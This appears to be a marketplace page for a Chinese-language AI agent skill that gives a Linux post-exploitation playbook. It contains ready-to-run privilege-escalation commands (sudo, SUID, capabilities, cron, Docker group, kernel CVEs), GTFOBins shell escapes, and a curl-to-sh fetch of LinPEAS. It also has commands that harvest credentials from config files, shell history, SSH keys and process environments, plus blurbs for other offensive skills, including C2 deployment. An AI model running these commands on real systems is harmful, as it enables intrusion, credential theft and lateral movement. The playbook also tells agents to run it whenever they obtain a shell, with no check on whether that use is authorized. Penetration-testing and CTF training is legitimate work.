skills/postexploit/post-exploit-linux/SKILL.md
Linux 后渗透全流程:信息收集→提权→凭据收集→横向准备。当通过 RCE/webshell/SSH 获取到 Linux shell 后使用。提权覆盖 sudo 滥用、SUID/SGID、Capabilities、Cron 劫持、PATH 劫持、Docker/LXD 组、NFS no_root_squash、可写 /etc/passwd、内核漏洞(DirtyPipe/PwnKit/DirtyCow)、组件提权。无论当前权限是 www-data 还是 root,都应先执行此方法论。任何拿到 Linux shell 后的操作——提权、找凭据、找 flag、准备横向移动——都从这个技能开始
npx skillsauth add wgpsec/AboutSecurity post-exploit-linuxInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
获取 shell 后的完整行动路线:信息收集 → 提权 → 凭据收集 → 敏感数据 → 横向准备。
内容按需加载——SKILL.md 给你决策树和快速命令,references 给你完整 payload:
刚拿到 shell 时跑这几条命令,快速判断有没有"秒提"的机会:
id && sudo -l 2>/dev/null # 身份 + sudo 权限(80% 的提权从这里开始)
find / -perm -4000 -type f 2>/dev/null | head -20 # SUID 文件
getcap -r / 2>/dev/null # Capabilities
ls -la /etc/passwd /etc/shadow 2>/dev/null # 文件权限
秒提信号:
sudo -l 有 NOPASSWD 条目 → 大概率能提(查 GTFOBins)/etc/passwd 可写 → 直接添加 root 用户如果这里没有明显突破口,继续 Phase 1 做完整信息收集。
# 身份与权限
id && whoami
uname -a && cat /etc/os-release # 内核版本 + 发行版(匹配内核漏洞用)
# 网络
ip addr && ip route && ss -tlnp # 接口、路由、监听端口
cat /etc/resolv.conf && arp -a && cat /etc/hosts
# 进程与环境
ps aux # 看有没有 root 运行的有趣进程
env | grep -iE 'pass|key|secret|token' # 环境变量泄露
关键判断:
当前权限?
├─ 已是 root → 跳到 Phase 3 凭据收集
└─ 非 root → 按顺序检查:
│
├─ 1. sudo -l
│ ├─ (ALL) NOPASSWD: ALL → sudo su(直接 root)
│ ├─ 特定命令 → GTFOBins 查提权方法
│ ├─ env_keep+=LD_PRELOAD → 共享库注入提权
│ └─ 无 sudo → 下一步
│
├─ 2. SUID 文件
│ find / -perm -4000 -type f 2>/dev/null
│ ├─ 非标准 SUID → GTFOBins / strings 分析 / PATH 劫持
│ └─ pkexec → PwnKit (CVE-2021-4034)
│
├─ 3. Capabilities
│ getcap -r / 2>/dev/null
│ └─ cap_setuid → python3/perl 提权
│ └─ cap_dac_read_search → 读 /etc/shadow
│
├─ 4. Cron 任务
│ cat /etc/crontab && ls -la /etc/cron.d/
│ ├─ root cron 执行可写脚本 → 替换脚本内容
│ ├─ cron PATH 有你可写的目录 → 同名脚本劫持
│ └─ cron 使用通配符(tar *)→ 参数注入
│
├─ 5. 可写文件/目录
│ ├─ /etc/passwd 可写 → 添加 root 用户
│ ├─ /etc/shadow 可读 → john/hashcat 破解
│ ├─ systemd .service 可写 → 改 ExecStart
│ └─ root 进程的库/配置可写 → 劫持
│
├─ 6. 特殊组
│ ├─ docker 组 → docker run -v /:/host alpine chroot /host bash
│ ├─ lxd/lxc 组 → 容器逃逸挂载宿主机
│ ├─ disk 组 → debugfs 读任意文件
│ └─ adm 组 → 读日志找凭据
│
├─ 7. NFS
│ cat /etc/exports → no_root_squash → 远程写 SUID 文件
│
└─ 8. 内核漏洞(最后手段,有崩溃风险)
uname -r → 匹配 CVE
PwnKit(所有pkexec) | DirtyPipe(5.8-5.16) | DirtyCow(2.6-4.8) | OverlayFS(Ubuntu)
snap-confine+tmpfiles(Ubuntu>=24.04, CVE-2026-3888, 需等10-30天)
→ 各步骤的完整利用命令 → references/privesc-techniques.md + references/advanced-privesc.md
| 命令 | 提权方法 |
|------|----------|
| vim/vi | :!/bin/bash |
| find | find / -exec /bin/bash \; |
| python3 | import os; os.system("/bin/bash") |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| env | env /bin/bash |
| less/more | !/bin/bash |
| tar | --checkpoint-action=exec=/bin/bash |
| nmap | --interactive → !sh(旧版)/ --script |
| bash/sh | 直接 sudo bash |
| systemctl/journalctl | 进入 pager → !/bin/bash |
完整列表查 GTFOBins
手动检查完没发现明显路径时,上自动化工具扫一遍——它们会检查更多边缘情况:
# LinPEAS(最全面,推荐)
curl -fsSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./linenum.sh -t
# linux-exploit-suggester(内核漏洞匹配)
./linux-exploit-suggester.sh
投递工具到目标的方法 → 加载 tool-delivery 技能
提权成功后(或即使没提权),尽可能收集凭据——这些凭据在横向移动中价值极大:
# Web 应用配置(数据库密码、API Key)
cat /var/www/html/config.php /var/www/html/.env /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null
# 历史记录(人类经常在命令行敲密码)
cat ~/.bash_history ~/.mysql_history ~/.python_history 2>/dev/null | grep -iE 'pass|secret|key'
# SSH 密钥(横向移动的金钥匙)
cat ~/.ssh/id_rsa 2>/dev/null
ls -la /home/*/.ssh/
# 数据库凭据
cat /etc/mysql/debian.cnf 2>/dev/null
# 进程/环境中的凭据
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|key|secret|token'
cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep -iE 'pass|pwd'
→ 更多凭据位置 → references/credential-harvest.md
# Flag(CTF/靶场)
find / -name "flag*" -o -name "proof*" 2>/dev/null
cat /root/flag.txt /home/*/flag.txt 2>/dev/null
# 备份/数据库/密钥文件
find / \( -name "*.bak" -o -name "*.sql" -o -name "*.key" -o -name "*.pem" \) 2>/dev/null
ip route && arp -a && cat /etc/hosts # 发现其他网段和主机
cat ~/.ssh/known_hosts 2>/dev/null # SSH 连接过哪些机器
收集到的凭据 + 发现的网段 → 加载 internal-recon 技能做内网扫描 → 加载 lateral-movement 技能做横向移动
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能